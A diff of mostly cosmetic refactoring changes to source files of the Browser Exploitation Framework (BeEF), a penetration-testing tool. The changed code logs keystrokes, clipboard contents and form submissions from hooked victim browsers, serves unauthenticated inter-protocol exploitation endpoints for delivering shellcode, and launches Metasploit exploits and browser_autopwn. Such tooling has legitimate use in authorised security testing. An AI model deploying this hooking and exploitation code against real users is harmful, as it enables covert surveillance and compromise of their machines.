||||||
|
|
||||||
#
|
|
||||||
# Sets up event logging
|
|
||||||
#
|
|
||||||
def setup()
|
|
||||||
|
|
||||||
# validates the hook token
|
|
||||||
beef_hook = @data['beefhook'] || nil
|
|
||||||
if beef_hook.nil?
|
|
||||||
print_error "[EVENTS] beef_hook is null"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# validates that a hooked browser with the beef_hook token exists in the db
|
|
||||||
zombie = Z.where(:session => beef_hook).first || nil
|
|
||||||
if zombie.nil?
|
|
||||||
print_error "[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
events = @data['results']
|
|
||||||
|
|
||||||
# push events to logger
|
|
||||||
logger = BeEF::Core::Logger.instance
|
|
||||||
events.each do |value|
|
|
||||||
logger.register('Event', parse(value), zombie.id)
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
def parse(event)
|
#
|
||||||
case event['type']
|
# Sets up event logging
|
||||||
when 'click'
|
#
|
||||||
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
|
def setup
|
||||||
when 'focus'
|
# validates the hook token
|
||||||
result = "#{event['time']}s - [Focus] Browser window has regained focus."
|
beef_hook = @data['beefhook'] || nil
|
||||||
when 'copy'
|
if beef_hook.nil?
|
||||||
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
|
print_error '[EVENTS] beef_hook is null'
|
||||||
when 'cut'
|
return
|
||||||
result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\""
|
|
||||||
when 'paste'
|
|
||||||
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
|
|
||||||
when 'blur'
|
|
||||||
result = "#{event['time']}s - [Blur] Browser window has lost focus."
|
|
||||||
when 'console'
|
|
||||||
result = "#{event['time']}s - [Console] #{event['data']}"
|
|
||||||
when 'keys'
|
|
||||||
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
|
|
||||||
print_debug "EventData: #{event['data']}"
|
|
||||||
if event['mods'].size > 0
|
|
||||||
print_debug "Event has mods"
|
|
||||||
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
|
|
||||||
else
|
|
||||||
result = "#{event['time']}s - [User Typed] #{event['data']}"
|
|
||||||
end
|
end
|
||||||
when 'submit'
|
|
||||||
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}"
|
# validates that a hooked browser with the beef_hook token exists in the db
|
||||||
else
|
zombie = Z.where(session: beef_hook).first || nil
|
||||||
print_debug '[EVENTS] Event handler has received an unknown event'
|
if zombie.nil?
|
||||||
result = "#{event['time']}s - Unknown event"
|
print_error '[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database'
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
events = @data['results']
|
||||||
|
|
||||||
|
# push events to logger
|
||||||
|
logger = BeEF::Core::Logger.instance
|
||||||
|
events.each do |value|
|
||||||
|
logger.register('Event', parse(value), zombie.id)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse(event)
|
||||||
|
case event['type']
|
||||||
|
when 'click'
|
||||||
|
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
|
||||||
|
when 'focus'
|
||||||
|
result = "#{event['time']}s - [Focus] Browser window has regained focus."
|
||||||
|
when 'copy'
|
||||||
|
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
|
||||||
|
when 'cut'
|
||||||
|
result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\""
|
||||||
|
when 'paste'
|
||||||
|
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
|
||||||
|
when 'blur'
|
||||||
|
result = "#{event['time']}s - [Blur] Browser window has lost focus."
|
||||||
|
when 'console'
|
||||||
|
result = "#{event['time']}s - [Console] #{event['data']}"
|
||||||
|
when 'keys'
|
||||||
|
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
|
||||||
|
print_debug "EventData: #{event['data']}"
|
||||||
|
if event['mods'].size.positive?
|
||||||
|
print_debug 'Event has mods'
|
||||||
|
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
|
||||||
|
else
|
||||||
|
result = "#{event['time']}s - [User Typed] #{event['data']}"
|
||||||
|
end
|
||||||
|
when 'submit'
|
||||||
|
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}"
|
||||||
|
else
|
||||||
|
print_debug '[EVENTS] Event handler has received an unknown event'
|
||||||
|
result = "#{event['time']}s - Unknown event"
|
||||||
|
end
|
||||||
|
result
|
||||||
|
end
|
||||||
end
|
end
|
||||||
result
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,47 +4,38 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
|
# TODO: remove it from here:
|
||||||
|
# Handlers
|
||||||
|
# require 'extensions/ipec/fingerprinter'
|
||||||
|
# require 'extensions/ipec/launcher'
|
||||||
|
require 'extensions/ipec/junk_calculator'
|
||||||
|
|
||||||
#todo remove it from here:
|
module Ipec
|
||||||
# Handlers
|
extend BeEF::API::Extension
|
||||||
#require 'extensions/ipec/fingerprinter'
|
|
||||||
#require 'extensions/ipec/launcher'
|
|
||||||
require 'extensions/ipec/junk_calculator'
|
|
||||||
|
|
||||||
module Ipec
|
@short_name = 'Ipec'
|
||||||
extend BeEF::API::Extension
|
@full_name = 'Inter-Protocol Exploitation'
|
||||||
|
@description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols."
|
||||||
|
|
||||||
@short_name = 'Ipec'
|
module RegisterIpecRestHandler
|
||||||
@full_name = 'Inter-Protocol Exploitation'
|
def self.mount_handler(server)
|
||||||
@description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols."
|
server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new)
|
||||||
|
end
|
||||||
module RegisterIpecRestHandler
|
|
||||||
def self.mount_handler(server)
|
|
||||||
server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler')
|
||||||
|
|
||||||
|
# TODO: remove it from here, and make it dynamic.
|
||||||
|
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator('imapeudora1')
|
||||||
end
|
end
|
||||||
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler')
|
|
||||||
|
|
||||||
#todo remove it from here, and make it dynamic.
|
|
||||||
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator("imapeudora1")
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
# Models
|
# Models
|
||||||
# todo: to be used when we'll have more IPEC exploits
|
# todo: to be used when we'll have more IPEC exploits
|
||||||
#require 'extensions/ipec/models/ipec_exploits'
|
# require 'extensions/ipec/models/ipec_exploits'
|
||||||
#require 'extensions/ipec/models/ipec_exploits_run'
|
# require 'extensions/ipec/models/ipec_exploits_run'
|
||||||
|
|
||||||
# RESTful api endpoints
|
# RESTful api endpoints
|
||||||
require 'extensions/ipec/rest/ipec'
|
require 'extensions/ipec/rest/ipec'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -10,19 +10,18 @@ module BeEF
|
|||||||
include Singleton
|
include Singleton
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
@binded_sockets = {}
|
@binded_sockets = {}
|
||||||
@host = BeEF::Core::Configuration.instance.get('beef.http.host')
|
@host = BeEF::Core::Configuration.instance.get('beef.http.host')
|
||||||
end
|
end
|
||||||
|
|
||||||
def bind_junk_calculator(name)
|
def bind_junk_calculator(name)
|
||||||
port = 2000
|
port = 2000
|
||||||
#todo add binded ports to @binded_sockets. Increase +1 port number if already binded
|
# TODO: add binded ports to @binded_sockets. Increase +1 port number if already binded
|
||||||
#if @binded_sockets[port] != nil
|
# if @binded_sockets[port] != nil
|
||||||
#else
|
# else
|
||||||
#end
|
# end
|
||||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket(name, @host, port)
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket(name, @host, port)
|
||||||
@binded_sockets[name] = port
|
@binded_sockets[name] = port
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -7,11 +7,8 @@ module BeEF
|
|||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
class IpecExploits < BeEF::Core::Model
|
class IpecExploits < BeEF::Core::Model
|
||||||
|
|
||||||
has_many :ipec_exploits_run
|
has_many :ipec_exploits_run
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -7,11 +7,8 @@ module BeEF
|
|||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
class IpecExploitsRun < BeEF::Core::Model
|
class IpecExploitsRun < BeEF::Core::Model
|
||||||
|
|
||||||
belongs_to :ipec_exploit
|
belongs_to :ipec_exploit
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -8,13 +8,12 @@ module BeEF
|
|||||||
module Extension
|
module Extension
|
||||||
module Ipec
|
module Ipec
|
||||||
class IpecRest < BeEF::Core::Router::Router
|
class IpecRest < BeEF::Core::Router::Router
|
||||||
|
|
||||||
before do
|
before do
|
||||||
# NOTE: the method exposed by this class are NOT-AUTHENTICATED.
|
# NOTE: the method exposed by this class are NOT-AUTHENTICATED.
|
||||||
# They need to be called remotely from a hooked browser.
|
# They need to be called remotely from a hooked browser.
|
||||||
|
|
||||||
#error 401 unless params[:token] == config.get('beef.api_token')
|
# error 401 unless params[:token] == config.get('beef.api_token')
|
||||||
#halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
# halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||||
'Pragma' => 'no-cache',
|
'Pragma' => 'no-cache',
|
||||||
'Cache-Control' => 'no-cache',
|
'Cache-Control' => 'no-cache',
|
||||||
@@ -26,53 +25,45 @@ module BeEF
|
|||||||
# See modules/exploits/beefbind/beef_bind_staged_deploy/command.js for more info.
|
# See modules/exploits/beefbind/beef_bind_staged_deploy/command.js for more info.
|
||||||
# todo: the core of this method should be moved to ../junk_calculator.rb
|
# todo: the core of this method should be moved to ../junk_calculator.rb
|
||||||
get '/junk/:name' do
|
get '/junk/:name' do
|
||||||
socket_name = params[:name]
|
socket_name = params[:name]
|
||||||
halt 401 if not BeEF::Filters.alphanums_only?(socket_name)
|
halt 401 unless BeEF::Filters.alphanums_only?(socket_name)
|
||||||
socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name)
|
socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name)
|
||||||
halt 404 if socket_data == nil
|
halt 404 if socket_data.nil?
|
||||||
|
|
||||||
if socket_data.include?("\r\n\r\n")
|
if socket_data.include?("\r\n\r\n")
|
||||||
result = Hash.new
|
result = {}
|
||||||
|
|
||||||
headers = socket_data.split("\r\n\r\n").first
|
headers = socket_data.split("\r\n\r\n").first
|
||||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name)
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name)
|
||||||
print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes."
|
print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes."
|
||||||
# CRLF -> 4 bytes
|
# CRLF -> 4 bytes
|
||||||
result['size'] = headers.size + 4
|
result['size'] = headers.size + 4
|
||||||
|
|
||||||
headers.split("\r\n").each do |line|
|
headers.split("\r\n").each do |line|
|
||||||
if line.include?("Host")
|
result['host'] = line.size + 2 if line.include?('Host')
|
||||||
result['host'] = line.size + 2
|
result['contenttype'] = line.size + 2 if line.include?('Content-Type')
|
||||||
end
|
result['referer'] = line.size + 2 if line.include?('Referer')
|
||||||
if line.include?("Content-Type")
|
end
|
||||||
result['contenttype'] = line.size + 2
|
result.to_json
|
||||||
end
|
else
|
||||||
if line.include?("Referer")
|
print_error '[IPEC] Looks like there is no CRLF in the data received!'
|
||||||
result['referer'] = line.size + 2
|
halt 404
|
||||||
end
|
end
|
||||||
end
|
|
||||||
result.to_json
|
|
||||||
else
|
|
||||||
print_error "[IPEC] Looks like there is no CRLF in the data received!"
|
|
||||||
halt 404
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# The original Firefox Extension sources are in extensions/ipec/files/LinkTargetFinder dir.
|
# The original Firefox Extension sources are in extensions/ipec/files/LinkTargetFinder dir.
|
||||||
# If you want to modify the pref.js file, do the following to re-pack the extension:
|
# If you want to modify the pref.js file, do the following to re-pack the extension:
|
||||||
# $cd firefox_extension_directory
|
# $cd firefox_extension_directory
|
||||||
# $zip -r ../result-name.xpi *
|
# $zip -r ../result-name.xpi *
|
||||||
get '/ff_extension' do
|
get '/ff_extension' do
|
||||||
response['Content-Type'] = "application/x-xpinstall"
|
response['Content-Type'] = 'application/x-xpinstall'
|
||||||
ff_extension = "#{File.expand_path('../../../ipec/files', __FILE__)}/LinkTargetFinder.xpi"
|
ff_extension = "#{File.expand_path('../../ipec/files', __dir__)}/LinkTargetFinder.xpi"
|
||||||
print_info "[IPEC] Serving Firefox Extension: #{ff_extension}"
|
print_info "[IPEC] Serving Firefox Extension: #{ff_extension}"
|
||||||
send_file "#{ff_extension}",
|
send_file ff_extension.to_s,
|
||||||
:type => 'application/x-xpinstall',
|
type: 'application/x-xpinstall',
|
||||||
:disposition => 'inline'
|
disposition: 'inline'
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -55,7 +55,7 @@ module BeEF
|
|||||||
m_details = msf.call('module.info', 'exploit', m)
|
m_details = msf.call('module.info', 'exploit', m)
|
||||||
next unless m_details
|
next unless m_details
|
||||||
|
|
||||||
key = 'msf_' + m.split('/').last
|
key = "msf_#{m.split('/').last}"
|
||||||
# system currently doesn't support multilevel categories
|
# system currently doesn't support multilevel categories
|
||||||
# categories = ['Metasploit']
|
# categories = ['Metasploit']
|
||||||
# m.split('/')[0...-1].each{|c|
|
# m.split('/')[0...-1].each{|c|
|
||||||
@@ -75,6 +75,7 @@ module BeEF
|
|||||||
elsif m_details['description'] =~ /Opera/i
|
elsif m_details['description'] =~ /Opera/i
|
||||||
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }
|
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }
|
||||||
end
|
end
|
||||||
|
|
||||||
# TODO:
|
# TODO:
|
||||||
# - Add support for detection of target OS
|
# - Add support for detection of target OS
|
||||||
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
|
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
|
||||||
@@ -132,9 +133,7 @@ module BeEF
|
|||||||
}
|
}
|
||||||
|
|
||||||
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
|
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
|
||||||
unless msf_payload_options
|
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" unless msf_payload_options
|
||||||
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
|
|
||||||
end
|
|
||||||
|
|
||||||
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
|
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
|
||||||
options
|
options
|
||||||
@@ -170,7 +169,7 @@ module BeEF
|
|||||||
uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}"
|
uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}"
|
||||||
|
|
||||||
bopts << { sploit_url: uri }
|
bopts << { sploit_url: uri }
|
||||||
c = BeEF::Core::Models::Command.new(
|
BeEF::Core::Models::Command.new(
|
||||||
data: bopts.to_json,
|
data: bopts.to_json,
|
||||||
hooked_browser_id: hb.id,
|
hooked_browser_id: hb.id,
|
||||||
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
|
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
|
||||||
|
|||||||
@@ -113,7 +113,7 @@ module BeEF
|
|||||||
|
|
||||||
# Raised when invalid JSON input is passed to an /api/msf handler.
|
# Raised when invalid JSON input is passed to an /api/msf handler.
|
||||||
class InvalidJsonError < StandardError
|
class InvalidJsonError < StandardError
|
||||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'
|
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'.freeze
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
super(message || DEFAULT_MESSAGE)
|
super(message || DEFAULT_MESSAGE)
|
||||||
@@ -122,7 +122,7 @@ module BeEF
|
|||||||
|
|
||||||
# Raised when an invalid named parameter is passed to an /api/msf handler.
|
# Raised when an invalid named parameter is passed to an /api/msf handler.
|
||||||
class InvalidParamError < StandardError
|
class InvalidParamError < StandardError
|
||||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'
|
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'.freeze
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
str = 'Invalid "%s" parameter passed to /api/msf handler'
|
str = 'Invalid "%s" parameter passed to /api/msf handler'
|
||||||
|
|||||||
@@ -102,7 +102,7 @@ module BeEF
|
|||||||
sleep 1
|
sleep 1
|
||||||
code = http.head(path, headers).code.to_i
|
code = http.head(path, headers).code.to_i
|
||||||
print_debug "[Metasploit] Success - HTTP response: #{code}"
|
print_debug "[Metasploit] Success - HTTP response: #{code}"
|
||||||
rescue StandardError => e
|
rescue StandardError
|
||||||
retry if (retries -= 1).positive?
|
retry if (retries -= 1).positive?
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -185,6 +185,9 @@ module BeEF
|
|||||||
get_lock
|
get_lock
|
||||||
res = call('module.info', 'exploit', name)
|
res = call('module.info', 'exploit', name)
|
||||||
res || {}
|
res || {}
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Call module.info for module #{name} failed: #{e.message}"
|
||||||
|
{}
|
||||||
ensure
|
ensure
|
||||||
release_lock
|
release_lock
|
||||||
end
|
end
|
||||||
@@ -193,6 +196,9 @@ module BeEF
|
|||||||
get_lock
|
get_lock
|
||||||
res = call('module.compatible_payloads', name)
|
res = call('module.compatible_payloads', name)
|
||||||
res || {}
|
res || {}
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Call module.compatible_payloads for module #{name} failed: #{e.message}"
|
||||||
|
{}
|
||||||
ensure
|
ensure
|
||||||
release_lock
|
release_lock
|
||||||
end
|
end
|
||||||
@@ -201,6 +207,9 @@ module BeEF
|
|||||||
get_lock
|
get_lock
|
||||||
res = call('module.options', 'exploit', name)
|
res = call('module.options', 'exploit', name)
|
||||||
res || {}
|
res || {}
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Call module.options for module #{name} failed: #{e.message}"
|
||||||
|
{}
|
||||||
ensure
|
ensure
|
||||||
release_lock
|
release_lock
|
||||||
end
|
end
|
||||||
@@ -211,6 +220,9 @@ module BeEF
|
|||||||
return {} unless res || res['modules']
|
return {} unless res || res['modules']
|
||||||
|
|
||||||
res['modules']
|
res['modules']
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Call module.payloads failed: #{e.message}"
|
||||||
|
{}
|
||||||
ensure
|
ensure
|
||||||
release_lock
|
release_lock
|
||||||
end
|
end
|
||||||
@@ -222,6 +234,7 @@ module BeEF
|
|||||||
|
|
||||||
res
|
res
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
|
print_error "Call module.options for payload #{name} failed: #{e.message}"
|
||||||
{}
|
{}
|
||||||
ensure
|
ensure
|
||||||
release_lock
|
release_lock
|
||||||
@@ -234,7 +247,7 @@ module BeEF
|
|||||||
res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}"
|
res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}"
|
||||||
res
|
res
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error "Exploit failed for #{exploit} \n"
|
print_error "Exploit failed for #{exploit}\n#{e.message}"
|
||||||
false
|
false
|
||||||
ensure
|
ensure
|
||||||
release_lock
|
release_lock
|
||||||
@@ -248,7 +261,7 @@ module BeEF
|
|||||||
get_lock
|
get_lock
|
||||||
call('module.execute', 'auxiliary', 'server/browser_autopwn', opts)
|
call('module.execute', 'auxiliary', 'server/browser_autopwn', opts)
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error 'Failed to launch autopwn'
|
print_error "Failed to launch browser_autopwn: #{e.message}"
|
||||||
false
|
false
|
||||||
ensure
|
ensure
|
||||||
release_lock
|
release_lock
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ module BeEF
|
|||||||
# Table stores each host identified on the zombie browser's network(s)
|
# Table stores each host identified on the zombie browser's network(s)
|
||||||
#
|
#
|
||||||
class NetworkHost < BeEF::Core::Model
|
class NetworkHost < BeEF::Core::Model
|
||||||
belongs_to :hooked_browser
|
belongs_to :hooked_browser
|
||||||
|
|
||||||
#
|
#
|
||||||
# Stores a network host in the data store
|
# Stores a network host in the data store
|
||||||
|
|||||||
@@ -10,8 +10,7 @@ module BeEF
|
|||||||
# Table stores each open port identified on the zombie browser's network(s)
|
# Table stores each open port identified on the zombie browser's network(s)
|
||||||
#
|
#
|
||||||
class NetworkService < BeEF::Core::Model
|
class NetworkService < BeEF::Core::Model
|
||||||
belongs_to :hooked_browser
|
belongs_to :hooked_browser
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Stores a network service in the data store
|
# Stores a network service in the data store
|
||||||
@@ -53,7 +52,7 @@ module BeEF
|
|||||||
port: service[:port],
|
port: service[:port],
|
||||||
ntype: service[:ntype]
|
ntype: service[:ntype]
|
||||||
).length
|
).length
|
||||||
return if total > 0
|
return if total.positive?
|
||||||
|
|
||||||
# store the returned network service details
|
# store the returned network service details
|
||||||
network_service = BeEF::Core::Models::NetworkService.new(
|
network_service = BeEF::Core::Models::NetworkService.new(
|
||||||
|
|||||||
@@ -27,152 +27,140 @@ module BeEF
|
|||||||
|
|
||||||
# Returns the entire list of network hosts for all zombies
|
# Returns the entire list of network hosts for all zombies
|
||||||
get '/hosts' do
|
get '/hosts' do
|
||||||
begin
|
hosts = @nh.all.distinct.order(:id)
|
||||||
hosts = @nh.all.distinct.order(:id)
|
count = hosts.length
|
||||||
count = hosts.length
|
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:hosts] = []
|
result[:hosts] = []
|
||||||
hosts.each do |host|
|
hosts.each do |host|
|
||||||
result[:hosts] << host.to_h
|
result[:hosts] << host.to_h
|
||||||
end
|
|
||||||
|
|
||||||
result.to_json
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving host list (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
result.to_json
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving host list (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns the entire list of network services for all zombies
|
# Returns the entire list of network services for all zombies
|
||||||
get '/services' do
|
get '/services' do
|
||||||
begin
|
services = @ns.all.distinct.order(:id)
|
||||||
services = @ns.all.distinct.order(:id)
|
count = services.length
|
||||||
count = services.length
|
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:services] = []
|
result[:services] = []
|
||||||
services.each do |service|
|
services.each do |service|
|
||||||
result[:services] << service.to_h
|
result[:services] << service.to_h
|
||||||
end
|
|
||||||
|
|
||||||
result.to_json
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving service list (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
result.to_json
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving service list (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns all hosts given a specific hooked browser id
|
# Returns all hosts given a specific hooked browser id
|
||||||
get '/hosts/:id' do
|
get '/hosts/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
hooked_browser = @hb.where(session: id).distinct
|
hooked_browser = @hb.where(session: id).distinct
|
||||||
hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser)
|
hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser)
|
||||||
count = hosts.length
|
count = hosts.length
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:hosts] = []
|
result[:hosts] = []
|
||||||
hosts.each do |host|
|
hosts.each do |host|
|
||||||
result[:hosts] << host.to_h
|
result[:hosts] << host.to_h
|
||||||
end
|
|
||||||
|
|
||||||
result.to_json
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns all services given a specific hooked browser id
|
# Returns all services given a specific hooked browser id
|
||||||
get '/services/:id' do
|
get '/services/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
services = @ns.where(hooked_browser_id: id).distinct.order(:id)
|
services = @ns.where(hooked_browser_id: id).distinct.order(:id)
|
||||||
count = services.length
|
count = services.length
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:services] = []
|
result[:services] = []
|
||||||
services.each do |service|
|
services.each do |service|
|
||||||
result[:services] << service.to_h
|
result[:services] << service.to_h
|
||||||
end
|
|
||||||
|
|
||||||
result.to_json
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns a specific host given its id
|
# Returns a specific host given its id
|
||||||
get '/host/:id' do
|
get '/host/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
host = @nh.find(id)
|
host = @nh.find(id)
|
||||||
raise InvalidParamError, 'id' if host.nil?
|
raise InvalidParamError, 'id' if host.nil?
|
||||||
halt 404 if host.nil?
|
|
||||||
|
|
||||||
host.to_h.to_json
|
halt 404 if host.nil?
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
host.to_h.to_json
|
||||||
halt 400
|
rescue InvalidParamError => e
|
||||||
rescue StandardError => e
|
print_error e.message
|
||||||
print_error "Internal error while retrieving host with id #{id} (#{e.message})"
|
halt 400
|
||||||
halt 500
|
rescue StandardError => e
|
||||||
end
|
print_error "Internal error while retrieving host with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Deletes a specific host given its id
|
# Deletes a specific host given its id
|
||||||
delete '/host/:id' do
|
delete '/host/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
||||||
